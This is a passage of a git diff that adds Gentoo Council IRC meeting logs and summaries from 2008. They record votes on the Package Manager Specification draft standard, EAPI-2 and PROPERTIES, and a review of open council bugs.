+20:41 <   ciaranm > Cardoe: we're using the pms-bugs alias for now
+20:41 <   Halcy0n@> musikc: no, I don't mind doing the initial approval, and getting the documentation laid down afterwards.
+20:41  *   musikc nods
+20:42 <    Cardoe+> ciaranm: any requirements to join the alias? or just get someone with commit access to that file to add you?
+20:42 <    musikc > Halcy0n, that makes sense and goes with ciaranm's expressed view of PMS always up for change
+20:42 <   ciaranm > Cardoe: the only requirement is that you not be so amazingly annoying that we feel obliged to move somewhere else
+20:42 < dberkholz@> could you tone it down a bit, ciaranm ..
+20:42 <    musikc > ciaranm, any gentoo dev should be welcome since PMS is a standard for Gentoo :)
+20:43 <   Halcy0n@> Council people, are we ready to vote?
+20:43 <    Cardoe+> Halcy0n: yes
+20:43 <   Calchan+> I'm ready to vote
+20:43 <   ciaranm > dberkholz: mm? what did i say?
+20:43 <dertobi123@> yes
+20:43 <   ciaranm > musikc: any qualified gentoo developer
+20:43 <    musikc > ciaranm, who determines who is qualified?
+20:43 <   ciaranm > any qualified anyone. being a gentoo developer is neither here not there
+20:43 <    musikc > Gentoo has determined any dev is qualified as this is a standard for Gentoo so they should all be welcome
+20:43 <   ciaranm > musikc: it's yet to be an issue, so we haven't had to determine it
+20:44 <   Halcy0n@> dberkholz: are you?
+20:44 <    musikc > ciaranm, so all Gentoo devs should be welcome
+20:44 < dberkholz@> Halcy0n: i'm thinking
+20:44 <   ciaranm > musikc: dunno. does gentoo still have developers who don't know what 'grep' is?
+20:44 -!- mode/#gentoo-council [+m] by Halcy0n
+20:44 <   Halcy0n@> Just to reduce the noise so we can make a decision on the original topic.
+20:45 <dertobi123@> thanks Halcy0n
+20:45 < dberkholz@> here's what i'm thinking. we have these 2 blocking issues. will either of them have an impact on pms as a draft standard?
+20:45 <    Cardoe+> dberkholz: what do you see as the two?
+20:45 < dberkholz@> the two i said earlier
+20:46 < dberkholz@> 20:36 < dberkholz@> one is a PMS lead who is a gentoo dev, and the other is  documenting conflict resolution
+20:47 <dertobi123@> one of these issues is about having a puppet or not having a puppet as a lead, this is a non-issue from my pov
+20:47 < dberkholz@> what exact benefits would having a pms lead as a gentoo dev gain us?
+20:47 <   Calchan+> dberkholz, a half baked pms project is the best way to have it crash into a wall, so we want this ?
+20:47 <   Calchan+> s/so/do/
+20:47 <   Halcy0n@> dberkholz: if we want the project to remain useful, I think we should document it before we start pushing it on people as a standard, in draft form or any other.
+20:48 <    Cardoe+> While people might feel emotional about a PMS lead that is a Gentoo dev, it's not necessarily a requirement. It's a Gentoo project controlled by the Gentoo QA project as a whole. Who runs the PMS sub-project is no consequence to how good or bad it is.
+20:48 < dberkholz@> document what?
+20:48 <   Halcy0n@> dberkholz: sorry, the conflict resolution and patch approval process.
+20:49 <    Cardoe+> Halcy0n: do we want to create a pms ML so that the pms-bugs alias isn't being used/abused?
+20:49 <    Cardoe+> bugzilla can mail changes to the ML for affected bugs
+20:49 <dertobi123@> Cardoe: agreed, ideally there would be a gentoo dev interested in that - but as long there's noone ...
+20:49 <   Halcy0n@> Cardoe: it would be best so others could join the list and conversations.
+20:50 <    Cardoe+> and publicly provide archives
+20:50 < dberkholz@> are there discussions happening on pms-bugs rather than just bugs posted to it?
+20:50 <   Halcy0n@> dberkholz: that has been the case in the past, yes.
+20:52 <    Cardoe+> Halcy0n: can you tell us the last e-mail across it?
+20:52 <    Cardoe+> actually never mind
+20:53 <    Cardoe+> Creating a mailing list I don't believe would be opposed (anyone opposing can PM me now) and would allow public transparency into the process and would allow for review of the process in the future so I think it's a plus moving forward.
+20:53 <   Halcy0n@> Cardoe: its mostly been submitted patches.
+20:53 <   Halcy0n@> And discussions of those patches.
+20:53 <    Cardoe+> which sounds a bit like a ML already
+20:54 < dberkholz@> http://dev.gentoo.org/~dberkholz/20080911-agenda.txt has the list of requirements i've collected
+20:54 <   Halcy0n@> dberkholz: that looks good to me.
+20:55 <   Calchan+> dberkholz, yes, looks good
+20:55 <    Cardoe+> So from that list does anyone see any that would prevent you from voting yes today to the PMS as a draft standard for EAPI 0 and 1?
+20:55 <    Cardoe+> I don't see any that would prevent me from voting yes today. Of course, I reserve the option to change that going forward since we are working with a live document.
+20:56 <   Calchan+> Cardoe, yes, I don't see the point voting for something unfinished when we could vote for the same finished thing in 2 weeks
+20:56 < dberkholz@> by making it a draft standard, what we're saying is that it is now a requirement to resolve conflicts between it and package managers
+20:56 < dberkholz@> there's not much value in approving a spec that doesn't match reality
+20:57 <    Cardoe+> correct
+20:57 <    Cardoe+> I think we have 2 outstanding issues between Portage/pkgcore & PMS/Paludis
+20:58 <    Cardoe+> Which can be a very good test to see how people will resolve this.
+20:59 <   Halcy0n@> Alright, we are at the end, can we vote?
+20:59 <   Calchan+> Halcy0n, yes
+20:59 <   Calchan+> I mean, yes I can vote
+21:00 <    Cardoe+> let's do it
+21:00 < dberkholz@> ok
+21:00 <dertobi123@> yep, let's vote
+21:00 < dberkholz@> do we want to specify that our acceptance is conditional upon those requirements being resolved?
+21:00 <    Cardoe+> 3 choices..
+21:01 <    Cardoe+> Yes, Yes conditional upon requirements being resolved, No
+21:01 < dberkholz@> i'm gonna go with #2.
+21:01 <   Halcy0n@> I'm with #2 as well
+21:02 <    Cardoe+> #2 here
+21:02 <dertobi123@> #2 too
+21:02 <   Calchan+> I vot 3 in the present state
+21:02 <dertobi123@> being solved until the next meeting i'd suggest in addition
+21:02 <   Calchan+> s/vot/vote/
+21:02 < dberkholz@> i agree w/ dertobi123 -- 2 weeks to resolve. there's nothing major there
+21:03 <    Cardoe+> Do we want to vote on creating a ML now or let it be discussed on the ML first?
+21:03 <dertobi123@> creating that ML sounds like a logical thing to me, so vote and yes please
+21:03 < dberkholz@> i'm pretty sure that's what we just did. making a list was one of the reqs, and we just voted to accept given the reqs.
+21:04 <   Halcy0n@> dberkholz: agreed.  I have to run now.
+21:04 < dberkholz@> ok
+21:04 <   Calchan+> thanks Halcy0n
+21:05 < dberkholz@> that's it for this meeting
+21:05 <    Cardoe+> I agree with creating the ML
+21:05 <   Calchan+> dberkholz, weren't we supposed to discuss eapi2 ?
+21:05 < dberkholz@> do people not read my posts?
+21:05 < dberkholz@> that kind of discussion is for lists, not meetings
+21:05 < dberkholz@> plus we hit our hourly limit
+21:06 <   Calchan+> dberkholz, ah sorry, I understood we'd discuss it here
+21:06 <    Cardoe+> dberkholz: The discussion was over.. the final list was submitted afaik
+21:06 < dberkholz@> there have been multiple replies on it today
+21:07 < dberkholz@> that just isn't enough time
+21:07 < dberkholz@> i'm happy to vote on it on -council though
+21:07 < dberkholz@> if not, we can vote it in 2 wks
+21:07 <   Calchan+> somebody should reopen the channel then
+21:08 -!- mode/#gentoo-council [-m] by dberkholz
+21:08 < dberkholz@> meeting's over
+21:08 < dberkholz@> thanks for playing
+21:08 < dberkholz@> http://dev.gentoo.org/~dberkholz/20080911-agenda.txt has summary
diff --git a/xml/htdocs/proj/en/council/meeting-logs/20080925-summary.txt b/xml/htdocs/proj/en/council/meeting-logs/20080925-summary.txt
new file mode 100644
index 00000000..8eb34657
--- /dev/null
+++ b/xml/htdocs/proj/en/council/meeting-logs/20080925-summary.txt
@@ -0,0 +1,53 @@
+Roll call
+=========
+betelgeuse here
+cardoe     here [dang]
+dberkholz  here
+dertobi123 here
+halcy0n    here
+jokey      here
+lu_zero    slacker
+
+New topics
+==========
+
+EAPI-2
+------
+Goal: Vote on approval
+
+Requirements: 
+
+  - Put a generated copy (preferably HTML) in the PMS project webspace. 
+    People who want to refer to an EAPI=2 reference don't necessarily 
+    want to install all the dependencies to build it.
+  - Let's tag the git repository something like 
+    eapi-$EAPI-approved-$DATE.
+
+Result: EAPI=2 is approved.
+
+
+PROPERTIES in cache
+-------------------
+Goal: Vote: Does council need to approve cache changes?
+  Goal: Vote on approval
+
+Result: Since it's related to the EAPI, this should be another issue 
+that package-manager developers resolve amongst themselves and only 
+present to council if they can't agree.
+
+They agree on adding it to the cache as a value that package managers 
+can ignore, so it is.
+
+
+PROPERTIES=interactive in ebuilds
+---------------------------------
+Goal: Vote: Does council need to approve global-variable changes in 
+      ebuilds?
+
+Result: This is a retroactive, backwards-compatible EAPI change and thus 
+is handled the same as any other EAPI change -- it requires council 
+approval.
+
+Goal: Vote on approval
+
+Result: PROPERTIES=interactive is approved.
diff --git a/xml/htdocs/proj/en/council/meeting-logs/20080925.txt b/xml/htdocs/proj/en/council/meeting-logs/20080925.txt
new file mode 100644
index 00000000..ad35fa78
--- /dev/null
+++ b/xml/htdocs/proj/en/council/meeting-logs/20080925.txt
@@ -0,0 +1,213 @@
+20:00 < darksiide > ding!
+20:00 <Betelgeuse@> dong
+20:00 <   ciaranm > the witch is dead
+20:02 < dberkholz@> who's here?
+20:02 < dberkholz@> lost track of time for a sec
+20:03 <Betelgeuse@> dberkholz: \o/
+20:03 <dertobi123@> <- here
+20:03  *  Halcy0n is here
+20:03 <     jokey@> plop
+20:03 <      dang > <- is Cardoe today
+20:03 <     jokey@> dang: oh, reincarnation? ;)
+20:03 <      dang > jokey: More like astral projection...
+20:04 < dberkholz@> where's lu?
+20:04 -!- jokey changed the topic of #gentoo-council to: Next meeting: now
+20:06 < dberkholz@> ok, let's get started without him
+20:06 < dberkholz@> can someone try to contact him somehow?
+20:06 -!- mode/#gentoo-council [+v dang] by Halcy0n
+20:06 < dberkholz@> (and speak up so i know who you are)
+20:06 <Betelgeuse@> dberkholz: Shouldn't you have his number :D
+20:06 <Betelgeuse@> I can dig it out too of course.
+20:06 < dberkholz@> it would be nice for someone else to step up and do something occasionally..
+20:07 < dberkholz@> here's a brief agenda -- http://dev.gentoo.org/~dberkholz/20080925-agenda.txt
+20:08 < dberkholz@> so let's get rolling on eapi-2
+20:08 < dberkholz@> anyone not ready to vote?
+20:08 <Betelgeuse@> dberkholz: txt msg sent
+20:08 <   Halcy0n@> I am ready.
+20:08 -!- thargor__ is now known as thargor
+20:08 < dberkholz@> as i mentioned before the meeting, i stuck a pdf at http://dev.gentoo.org/~dberkholz/pms/pms_eapi-2_no-kdebuild-1_20080925.pdf -- see the appendix
+20:09 <Betelgeuse@> So we would move a copy like that to the PMS project pages then?
+20:10 <Betelgeuse@> Or the html output generated for better linking from stuff like devmanual would work too.
+20:10 < dberkholz@> i'd like to just stick a tag in git
+20:10 <      dang+> An html copy somewhere would be *really* nice.
+20:10 <     jokey@> dberkholz++
+20:11 <     jokey@> one of us should just add a gpg signed one there and be done with it
+20:11 < dberkholz@> putting a copy in the pms project space would make sense to me, so people have somewhere simple to get this info
+20:11 < dberkholz@> any pms folks can comment on that?
+20:11 <   ciaranm > app-doc/pms
+20:11 <      dang+> That's what I meant, of course.  The official one could still be in git.
+20:11 <     jokey@> maybe add a generated one to the project page as well so people don't need to install texlive just to take a look at it
+20:12 <dertobi123@> jokey: pdf and html (as dang suggested) would be nice, yeah
+20:12 <   ciaranm > ferdy: ^^ you can do that, right?
+20:13 <      dang+> and an app-doc/pms-2 for people who do want a local copy.
+20:13 <  nirbheek > app-doc/pms-bin? :)
+20:13 <      dang+> Heh.
+20:13 <   ciaranm > dang: i was just going to merge the eapi-2 branch into master...
+20:14 <   ciaranm > the only reason eapi 2 is on a branch just now is to avoid giving the impression it's been finalised
+20:14 <     jokey@> anyway, nothing else required for vote, right? ;)
+20:14 <      dang+> ciaranm: Sure, I have no problem with that.
+20:14 <      dang+> But cutting a tarball, sticking it on the mirror, and having a pms-2 version in portage would be a nice touch.
+20:14 <      dang+> Not required, but nice.
+20:15 <   ciaranm > do we do a new tarball when we write some more of the EAPI 0 stuff, then?
+20:15 <Betelgeuse@> ciaranm: Well pms-2 would isntall the tag
+20:15 <      dang+> Good question...
+20:15 <Betelgeuse@> ciaranm: if coming from git
+20:15 <      dang+> tag may be better, I'd forgotten about that. :P
+20:15 <   ciaranm > a tag doesn't really make sense to me
+20:16 <   ciaranm > i mean, what'd it tag? the first eapi 2 commit? the last eapi 2 commit? the most recent eapi 2 related fix? the most recent fix that is some way relevant to eapi 2? and once it's there it's stuck
+20:16 <Betelgeuse@> ciaranm: For EAPI 0 of course not, but we aren't approving that atm.
+20:16 <   Halcy0n@> So, can we vote?  The specifics of what we do with PMS can be discussed separately.
+20:17 <dertobi123@> indeed
+20:17 <      dang+> Fine with me.
+20:17 <Betelgeuse@> ciaranm: Well we can tie the ebuild to particular commits too.
+20:17 <   Halcy0n@> So, yes from me.
+20:18  *     Sput thinks people mean a branch rather than a tag
+20:18 <Betelgeuse@> ciaranm: And increase it as fixes come I guess.
+20:18 <   ciaranm > Betelgeuse: so how's that different from just pointing the ebuild at master?
+20:18 <Betelgeuse@> ciaranm: council approval for changes
+20:18 <Betelgeuse@> ciaranm: if wanted
+20:18 < dberkholz@> if we approve one thing, the wording could later change so that it actually means something else
+20:19  *    jokey is for it too
+20:19 <   ciaranm > in which case the conflict resolution process kicks in
+20:19 <      dang+> But a signed tag specifying what was actually the state at approval time would help a lot...
+20:20 <      dang+> Just as a historical record, if nothing else.
+20:20 <      dang+> Anyway, I vote to approve, too.
+20:20 < dberkholz@> i would like to see a tag that says something like eapi-$EAPI-approved-$DATE
+20:20  *    jokey got a note that lu went to bed already
+20:20 <   ciaranm > it would? *shrug* sign and tag away all you like. tags are cheap.
+20:20 < dberkholz@> but yes, i am also for eapi 2
+20:20  * dertobi1 is too
+20:20 <Betelgeuse@> +1
+20:20 <     jokey@> ++
+20:21 < dberkholz@> who agrees with the tag?
+20:21 <   Halcy0n@> Please tag it :)
+20:22 <Betelgeuse@> I do
+20:22 < dberkholz@> (btw, just to make it clear for the record, EAPI=2 is approved.)
+20:22  * dertobi1 agrees
+20:22  *    jokey too
+20:22  *     dang too
+20:23 <   ciaranm > ok, someone please make a signed tag then and mail it to the list which doesn't exist yet
+20:23 < dberkholz@> is it merged to master already?
+20:23 <      dang+> Heh.
+20:23 <   ciaranm > is now!
+20:24 < dberkholz@> updated agenda/summary -- http://dev.gentoo.org/~dberkholz/20080925-agenda.txt
+20:24 < dberkholz@> please verify the EAPI=2 section
+20:25 <   Halcy0n@> Sounds good to me Donnie.
+20:25 < dberkholz@> ok, let's move on to the next topic
+20:25 < dberkholz@> PROPERTIES in cache
+20:26 <     jokey@> no need to approve cache changes imho as long as they don't break older versions of portage
+20:26 < dberkholz@> there were zero objections on-list
+20:26  *     dang agreed with jokey
+20:26  * dertobi1 too
+20:26 < dberkholz@> yeah, that's my feeling
+20:26 <Betelgeuse@> cache changes should be needed because of tree wide changes which should go through us
+20:26 <   Halcy0n@> Fine by me.
+20:26 <Betelgeuse@> not always of course
+20:27 <Betelgeuse@> So why not do both?
+20:27 <   zmedico > the cache is a community asset
+20:27 < dberkholz@> cache changes aren't just needed because of changes to the tree, but because portage is just tracking more data
+20:27 <   zmedico > so I don't really think it's all my decision
+20:28 < dberkholz@> that's why i think the ebuild PROPERTIES section is more relevant to us directly, because that part always impacts the tree
+20:28 <   ciaranm > cache is an EAPI / PMS thing, and all sorts of third party apps rely upon it, so changing it isn't something to be done without proper discussion
+20:28 <   zmedico > nod
+20:29 <Betelgeuse@> The council hasn't had that much technical stuff to decide any way so I don't see why we would need to cut down the list.
+20:30 <     jokey@> ciaranm: that's why I added "as long as it doesn't break older stuff"
+20:30 <     jokey@> if one just adds fields, it shouldn't be a real issue anywhere
+20:30 < dberkholz@> you can only cut down the list if something was on the list to start with ... cache changes have never gone through council in the past to my knowledge
+20:30 <   ciaranm > that's not entirely true...
+20:30 <   zmedico > note that there is currently an upper limit on the number of cache entries
+20:31 <   zmedico > 22 max, 7 unused
+20:31 <   zmedico > adding PROPERTIES leaves 6 unused
+20:31 <   ciaranm > you can use things that are currently defined as unused without breaking things. you can't *add* without breaking portage
+20:31 <   ciaranm > dberkholz: the last cache change was pre-council, wasn't it?
+20:32 < dberkholz@> i don't think so
+20:32 <   ciaranm > wasn't the last cache change the addition of the EAPI field?
+20:32 <   zmedico > last addition was EAPI
+20:32 <   zmedico > few years back
+20:34 < dberkholz@> seems like if anything, this should be another issue that PM devs resolve amongst themselves and only present to council if they can't agree
+20:34 < dberkholz@> is there a lack of agreement?
+20:35 <   ciaranm > there's no disagreement on PROPERTIES, just some of the proposed values for it
+20:35 < dberkholz@> ok
+20:36 < dberkholz@> do council people agree with what i said?
+20:36 <     jokey@> sure
+20:36 <dertobi123@> yep
+20:36  *    jokey notes a bunch of stuff falls into that category actually
+20:36 <      dang+> Sure.
+20:36 <Betelgeuse@> the majority has spoken
+20:37 <Betelgeuse@> So let's go with that then.
+20:37 <     jokey@> right
+20:37 < dberkholz@> ok, if you guys agree on PROPERTIES in cache, go for it.
+20:37  *  ciaranm shall add it to pms
+20:38 < dberkholz@> let's move on to the PROPERTIES=interactive
+20:39 <     remi` > quick question: PROPERTIES is added to which EAPI ?
+20:40 <   ciaranm > remi`: PROPERTIES is retroactively added to 0, 1 and 2 with the restriction that it can't be used for anything that package managers can't safely ignore
+20:40 <     remi` > great, thanks for the clarification
+20:41 <   Halcy0n@> Are there any disagreements on having PROPERTIES=interactive from any of the PM people?
+20:41 <   ciaranm > interactive was the one we didn't disagree on
+20:41 < dberkholz@> i'm presuming zmedico agrees with it too =)
+20:42 <   zmedico > nod
+20:42 < dberkholz@> council members, do you think this is something that should require council approval?
+20:44 <   Halcy0n@> I think it makes sense for us to approve it.
+20:44 <dertobi123@> i'm unsure, so it wouldn't hurt to approve it. i'm for it :)
+20:44 <Betelgeuse@> yes
+20:44 <     jokey@> yes
+20:44 <     jokey@> ;)
+20:44 < dberkholz@> to generalize, new global variables in ebuilds that are used by the PM
+20:45 <      dang+> Probably a good idea.
+20:45 <     jokey@> anything global imho
+20:45 <     jokey@> so it expands to vars and functions
+20:45 <   ciaranm > vars and functions would be an EAPI thing anyway
+20:46 < dberkholz@> unless they're optional again
+20:46 < dberkholz@> seems like an odd use case though
+20:46 < dberkholz@> pkg_pretend() anyone?
+20:46 <     jokey@> eapi stuff
+20:47 <     jokey@> so handled within pms group as usual
+20:47 <   ciaranm > pkg_pretend is a lot easier if you can be sure it'll get used... so it's a lot easier as an EAPI thing...
+20:47 < dberkholz@> reasonable
+20:48 < dberkholz@> what we're saying is that new ebuild features that aren't covered by PMS/EAPIs still need to be approved by the council
+20:49 <     jokey@> eh, isn't all this global ebuild stuff (to be) covered by pms?
+20:49 <   ciaranm > there aren't going to be many things done that way, so it's probably easier to just send every new EAPI and every carefully done retroactive EAPI change to the council...
+20:50 <Betelgeuse@> indeed
+20:50 <     jokey@> ++
+20:50 < dberkholz@> ciaranm: so you're classifying this as a retroactive EAPI change?
+20:51 < dberkholz@> i'm a bit underslept lately
+20:51 <   ciaranm > dberkholz: PROPERTIES? yeah
+20:51 <   ciaranm > PROPERTIES is an EAPI thing that we just happen to be able to get away with doing retroactively by carefully weasel wording it
+20:51 < dberkholz@> yeah, ok, that way we can just say it's just a standard pms/eapi thing and not deal with setting new policies and whatnot
+20:52 < dberkholz@> so let's move on to the approval vote
+20:52 <   Halcy0n@> How are we determining which properties are allowed though?  Is that tied to a particular EAPI at this point, or are you wording it up in such a way that new ones can be introduced at any time?
+20:53 < dberkholz@> since PROPERTIES handling is optional, i was assuming that support for any given value of it was also optional
+20:53 <   Halcy0n@> I just wanted to make sure :)
+20:53 < dberkholz@> and any new value would require council approval the way we've said it
+20:53 <   ciaranm > what dberkholz said
+20:53 <   Halcy0n@> Okay, thanks.
+20:54 <   Halcy0n@> I vote to approve it.
+20:54 < dberkholz@> so do i
+20:54 <Betelgeuse@> +1
+20:54 <      dang+> ++
+20:55 < dberkholz@> ok, that's our agenda for today
+20:55 < dberkholz@> and right on time too!
+20:55 <      Sput > nice work *clap*
+20:55 <   Halcy0n@> Awesome.  Thanks for getting everything organized Donnie.
+20:55 < dberkholz@> less so every week, as i get less and less sleep...
+20:55 < dberkholz@> adios, gotta run!
+20:56 <     jokey@> ++
+20:56 <Betelgeuse@> I can make the tag.
+20:56  *    jokey thinks donnie should get some choclate and cookies for free
+20:56 <   ciaranm > Betelgeuse: do you know how to mail tags for git? i've never had to done that
+20:57  * dertobi1 hands donnie some swiss chocolate i bought in zurich yesterday :)
+20:57 <    maekke > dertobi123: =)
+20:57 <Betelgeuse@> ciaranm: Hmm. True.
+20:58 <Betelgeuse@> ciaranm: I can try the normal way.
+20:58 <     remi` > oh, I had one tiny question : when can we start using EAPI=2 in ~ and/or stable ebuilds ?
+20:58 <Betelgeuse@> remi`: You shouldn't commit something you haven't tested so after a pkg manager is committed with support for it
+20:58 <Betelgeuse@> remi`: zmedico probably does a release today
+20:58 <     remi` > Betelgeuse, of course, but once portage is out, we can start using it?
+20:59 <   ciaranm > paludis will probably be tomorrow, unless my laptop speeds up...
+20:59 <Betelgeuse@> remi`: yes
+20:59 <    Caster > remi`: and in stable ebuilds when a portage that supports it is stable, I guess
+21:00 <   ciaranm > zmedico / anyone else: please review the properties branch i just committed to pms
+21:00 <   zmedico > sure
+21:01 <     remi` > Betelgeuse, Caster, ok thanks
+21:02 <jmbsvicett > council: thanks for approving EAPI-2
+21:03 <   zmedico > thanks for approving the PROPERTIES stuff too
diff --git a/xml/htdocs/proj/en/council/meeting-logs/20081023-summary.txt b/xml/htdocs/proj/en/council/meeting-logs/20081023-summary.txt
new file mode 100644
index 00000000..335ca953
--- /dev/null
+++ b/xml/htdocs/proj/en/council/meeting-logs/20081023-summary.txt
@@ -0,0 +1,37 @@
+Roll call
+=========
+betelgeuse here
+cardoe     here
+dberkholz  here
+dertobi123 here
+halcy0n    here
+jokey      slacker
+lu_zero    here
+
+Running through open bugs
+=========================
+
+Process: For each bug, come up with a concrete next step and who's going 
+to do it. If it's the council, a specific member should take 
+responsibility. The bug should be assigned to whoever needs to take the 
+next step and council@ should be in CC.
+
+Bugs handled:
+185572 - As the proctors no longer exist the code of conduct needs an upate
+234705 - Document of being an active developer
+234706 - Slacker arches
+234708 - Can the council help fewer bugs get ignored by arm/sh/s390 teams?
+234710 - as-needed by default
+237381 - Document appeals process
+
+Bugs remaining:
+234711 - GLEP 54: scm package version suffix
+234713 - GLEP 55: Use EAPI-suffixed ebuilds (.ebuild-EAPI)
+234716 - Extent of Code of Conduct enforcement
+
+Meeting scheduling conflicts
+============================ 
+The 2nd meetings in November and December 
+conflict with holidays. If there are open bugs, we will hold them on the 
+3rd Thursday instead of the 4th Thursday; otherwise, they will be 
+canceled.
diff --git a/xml/htdocs/proj/en/council/meeting-logs/20081023.log b/xml/htdocs/proj/en/council/meeting-logs/20081023.log
new file mode 100644
index 00000000..a7d7fe09
--- /dev/null
+++ b/xml/htdocs/proj/en/council/meeting-logs/20081023.log
@@ -0,0 +1,218 @@
+19:10 <NeddySeago > Is there an agenda for tonight ?
+19:10 <    fmccor > I haven't seen one, although someone requested a review of all open Council bugs.
+19:12 <   lu_zero@> ^^
+19:22 < darksiide > Cardoe requested it and commented on some i think.
+19:24 < dberkholz@> that is the agenda
+19:28 < dberkholz@> here's how i think we can make this most useful
+19:29 < dberkholz@> for each bug, come up with a concrete next step and who's going to do it. if it's the council, a specific member should take responsibility
+19:32 <dertobi123@> sounds good to me :)
+19:33 < dberkholz@> and i think the bug should actually get reassigned to that person with council in cc
+19:54 < dberkholz@> i'm wandering to another building. brb
+20:01 <Betelgeuse@> hiihoo
+20:01 <   lu_zero@> hi Betelgeuse
+20:03 <dertobi123@> heya
+20:03 <   lu_zero@> who's missing?
+20:03 <Betelgeuse@> Cardoe at least
+20:03 <Betelgeuse@> jokey:
+20:03 <Betelgeuse@> Halcy0n:
+20:03 <Betelgeuse@> !expn council
+20:03 < Willikins > Betelgeuse: council = (private)
+20:03 <    Cardoe@> I'm here
+20:04 <    Cardoe@> I tried to comment on a few of the bugs to see where we're at
+20:06 <   Halcy0n@> Here.
+20:08 < dberkholz@> back, sorry
+20:08 < dberkholz@> first building had a congested network
+20:08 < dberkholz@> so, are people on board with what i suggested?
+20:09 <   Halcy0n@> Yup.
+20:09 <dertobi123@> jokey has his cellphone switched off, tried to reach him
+20:09 <dertobi123@> dberkholz: yep
+20:11 <   Halcy0n@> I went through some of the bugs and identified where they are at: http://dev.gentoo.org/~halcy0n/council_bugs.txt
+20:11 < dberkholz@> i'll repaste quick, since i said it before 2000
+20:11 < dberkholz@> 20:01 <   lu_zero@> hi Betelgeuse
+20:11 < dberkholz@> err.
+20:11 < dberkholz@> 19:28 < dberkholz@> here's how i think we can make this most useful
+20:11 < dberkholz@> 19:29 < dberkholz@> for each bug, come up with a concrete next step and who's  going to do it. if it's the council, a specific member  should take responsibility
+20:11 < dberkholz@> 19:32 <dertobi123@> sounds good to me :)
+20:11 < dberkholz@> 19:33 < dberkholz@> and i think the bug should actually get reassigned to that  person with council in cc
+20:12 < dberkholz@> dertobi123 & Halcy0n agree, waiting on others' input
+20:12 <Betelgeuse@> yeah having someone in charge could help
+20:12 <   lu_zero@> sounds fine
+20:13 < dberkholz@> ok, let's just run through 'em in order
+20:13 < dberkholz@> bug #185572
+20:13 < Willikins > dberkholz: https://bugs.gentoo.org/185572 "As the proctors no longer exist the code of conduct needs an upate"; Doc Other, Project-specific documentation; NEW; neddyseagoon@g.o:council@g.o
+20:14 <dertobi123@> i agree to Cardoe, re-assigning to devrel
+20:14 < dberkholz@> i'm fine with letting devrel members update it to reflect reality of how it's enforced, as cardoe said
+20:14 <   lu_zero@> I do agree as well
+20:14 <   Halcy0n@> Agreed.
+20:15 <Betelgeuse@> fine
+20:15 < dberkholz@> ok, saying so on the bug
+20:16 < dberkholz@> bug #234705
+20:16 < Willikins > https://bugs.gentoo.org/234705 "Document of being an active developer"; Gentoo Linux, Unspecified; NEW; dberkholz@g.o:council@g.o
+20:17 < dberkholz@> seems like a good way forward is letting araujo finish his prototype, then reassign to devrel
+20:18 <   lu_zero@> yup
+20:18 <   Halcy0n@> Sounds reasonable.
+20:18 <Philantrop > dberkholz: araujo raised a few questions on the bug for the council (?) to answer, though.
+20:18 < dberkholz@> i don't think the council should be the group answering them. i think devrel should
+20:18 <dertobi123@> is it already decided who's going to sign the documents later on? the prototype reads like it is being by the trustees
+20:18 < dberkholz@> i really don't think that bug has anything to do with the council at all
+20:19 <dertobi123@> if the trustees are going to sign the documents then they should deal with the questions araujo raised
+20:19 <dertobi123@> dberkholz: indeed
+20:19 < dberkholz@> here's what i suggest. we assign to araujo, CC devrel and trustees, and tell them to decide amongst themselves which of them should handle it
+20:20 < dberkholz@> and un-CC council because it isn't our thing
+20:20 <   lu_zero@> I'd rather have devrel sign
+20:20 <dertobi123@> dberkholz: agreed
+20:20 <   Halcy0n@> dberkholz: I agree with that.  Doesn't make sense for us to be involved really.
+20:20 <Betelgeuse@> Well probably someone with a legal status should do it.
+20:21 < dberkholz@> i also have an opinion who should sign but i don't want to bikeshed about it
+20:21 < dberkholz@> we don't handle legal issues, so talking about legal status within the council doesn't make sense
+20:21 <NeddySeago > lu_zero, what is the legal status of this certificate ?
+20:21 <   lu_zero@> NeddySeagoon selfcertification from gentoo I think
+20:21 <   lu_zero@> or otherwise a formal reference
+20:22 <NeddySeago > lu_zero, I mean, if a developer users it in applying for a job ... like a reference
+20:23 < dberkholz@> araujo's requirement was that mentioning gentoo on his résumé requires some sort of proof in the form of written documentation
+20:24 <NeddySeago > cc the trustees, we will discuss it
+20:24 <   lu_zero@> NeddySeagoon ok
+20:24 <dertobi123@> it's like a lpic or microsoft certification reference, imho it should be signed by one of the trustees
+20:24 <dertobi123@> but that's something devrel and trustee can discuss
+20:24 <NeddySeago > dertobi123, I don't have a prolem with that
+20:25 < dberkholz@> anyone in addition to dertobi123 & Betelgeuse with me on pushing the open questions to devrel+trustees?
+20:25 <   Halcy0n@> I agreed :)
+20:25 <NeddySeago > heh
+20:25 <   lu_zero@> I'm fine
+20:25 < dberkholz@> err, Betelgeuse didn't agree. that was a typo.
+20:25 < dberkholz@> ok, that's 4
+20:26 <dertobi123@> NeddySeagoon: of course, didn't meant it that way
+20:26 <Betelgeuse@> Well does someone else besides trustees have legal status?
+20:26 <NeddySeago > Not as far as I know
+20:26 <    fmccor > No, I don't think so.
+20:27 <Betelgeuse@> ok so I agreed :D
+20:27 <dertobi123@> heh
+20:28 < dberkholz@> ok
+20:28 < dberkholz@> bug #234706
+20:28 < Willikins > https://bugs.gentoo.org/234706 "Slacker arches"; Gentoo Linux, Unspecified; NEW; dberkholz@g.o:council@g.o
+20:29 <dertobi123@> that bug sounds like ping timed-out?
+20:29 <   lu_zero@> vapier had something?
+20:29 < dberkholz@> he never actually got around to writing it
+20:30 <   Halcy0n@> This came up on the list the other day again, so one of us should really try to get this resolved in some way.
+20:30 < dberkholz@> i understand he was basing it off something richard freeman about it
+20:30 < darksiide > that was raised on the gentoo-dev list
+20:30 < dberkholz@> s/about it/said about it/
+20:30 <   Halcy0n@> I can take it as something to try and get some input from the masses.
+20:31 < darksiide > its rather annoying to cc the "slackers" for no reason, they don't have the manpower to maintain a stable tree
+20:31 < darksiide > not a fault of there, but..if you are using s390, you should be prepared to deal with package.keywords, etc
+20:32 < dberkholz@> i would expect the annoying part is that it leaves the maintaining teams with lots of open bugs that are hard to hide if you want to see "real" stabilization requests
+20:32 <   lu_zero@> well I'd do s/slacker/understaffed/
+20:32 <   lu_zero@> and keep arch as transient and ignore ~ for those
+20:33 < dberkholz@>  http://article.gmane.org/gmane.linux.gentoo.devel/54103
+20:33 <   lu_zero@> with a bit fat warning telling that
+20:34 < dberkholz@> that's rich0's proposal from a while back
+20:34 < dberkholz@> Halcy0n: ok. you want to take this bug and follow it through?
+20:35 <   Halcy0n@> dberkholz: Yea, I'll handle it.
+20:35 < darksiide > well, break the stable tree with understaffed arches or just remove the stable tree (ala ~mips)
+20:35 <    Cardoe@> dberkholz: I got rich0's proposal in my mail
